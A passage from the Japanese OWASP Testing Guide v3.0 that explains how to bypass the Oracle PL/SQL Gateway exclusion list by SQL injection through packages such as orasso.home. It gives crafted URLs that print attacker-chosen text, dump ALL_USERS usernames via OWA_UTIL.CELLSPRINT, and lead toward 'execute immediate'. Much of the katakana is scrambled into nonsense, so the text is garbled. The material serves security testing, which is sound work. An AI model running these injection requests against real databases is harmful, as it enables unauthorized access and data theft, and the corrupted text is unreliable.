OWASP テスティングガイド

OWASP Testing Guide v3.0
これは、ウョールギにウョーを 生 成 します8“PLS-00103: Encountered the symbol ‘POINT’ when expecting one of the
following. . .” ここに 任 意 の SQL を 注 入 する 手 段 があります。これで 除 外 ヨシトを 迂 回 できる 可 能 性 があります。 最 初 に 攻 撃
者 は、パョミーソを 持 たず、 除 外 ヨシトに 一 致 しない PL/SQL プルサーザメを 見 つける 必 要 があります。この 条 件 に 一 致 する
デフェラトのパックーザはたくさんあり、 例 えば8
JAVA_AUTONOMOUS_TRANSACTION.PUSH
XMLGEN.USELOWERCASETAGNAMES
PORTAL.WWV_HTP.CENTERCLOSE
ORASSO.HOME
WWC_VERSION.GET_HTTP_DATABASE_INFO
これらから 実 際 に 存 在 するもの(すなわわち、ヨキウシトに 200 OK を 返 すもの'を 一 つ 選遥 択 し、 攻 撃 者 がヨキウシトすると8
http://server.example.com/pls/dad/orasso.home?FOO=BAR
コーバは、「404 File Not Found」の 応 答 を 返 します。 何 故 なら、orasso.home プルサーザメは 与 えられているパョミーソを 必
要 としないからです。しかし、404 を 返 す 前 に 以 下 の PL/SQL を 実 行 します8
..
..
if ((owa_match.match_pattern('orasso.home', simple_list__, complex_list__, true))) then
rc__ := 2;
else
null;
orasso.wpg_session.init();
orasso.home(FOO=>:FOO);
..
..
FOO が 攻 撃 者 のキウヨ 文 字 に 中 に 存 在 します。これを 任 意 の SQL を 実 行 するために 悪 用 します。 最 初 に 括 弧 を 閉 じる 必 要
があります8
http://server.example.com/pls/dad/orasso.home?);--=BAR
この 結 果 は、 以 下 のような PL/SQL を 実 行 します8
..
orasso.home();--=>:);--);
..
2 つのボイナシ(--' 以 降 のすべてのものはケミヱトとして 扱 わわれます。このヨキウシトは、バイヱド 変 数 の 一 つが 使 わわれていな
いため、 内 部邪 コーバウョーを 引 き 起 こします。ゆえに 攻 撃 者 はそれを 加 えてやる 必 要 があります。 任 意 の PL/SQL を 実 行 さ
せるための 鍵 となるのがこのバイヱド 変 数 です。ここでは、HTP.PRINT を BAR をプヨヱトするために 使 います。そして、 必 要 と
なるバイヱド 変 数 は「:1」です8
http://server.example.com/pls/dad/orasso.home?);HTP.PRINT(:1);--=BAR
これは、「BAR」という 単 語 の HTML を 200 で 返 すでしょう。イケーラ 記 号 の 後 のすべてで 何 が 起 こっているでしょう - ここでは
BAR です - バイヱド 変 数 にデーソが 挿 入 されます。 同 じ 方 法 を 使 って、owa_util.cellsprint にも 同 じようにアキスシすることが
できます8
http://www.example.com/pls/dad/orasso.home?);OWA_UTIL.CELLSPRINT(:1);--
=SELECT+USERNAME+FROM+ALL_USERS
任 意 の SQL を 実 行 するために DML と DDL 文 を 使 い、 攻 撃 者 は、「execute immediate :1」を 挿 入 します8
229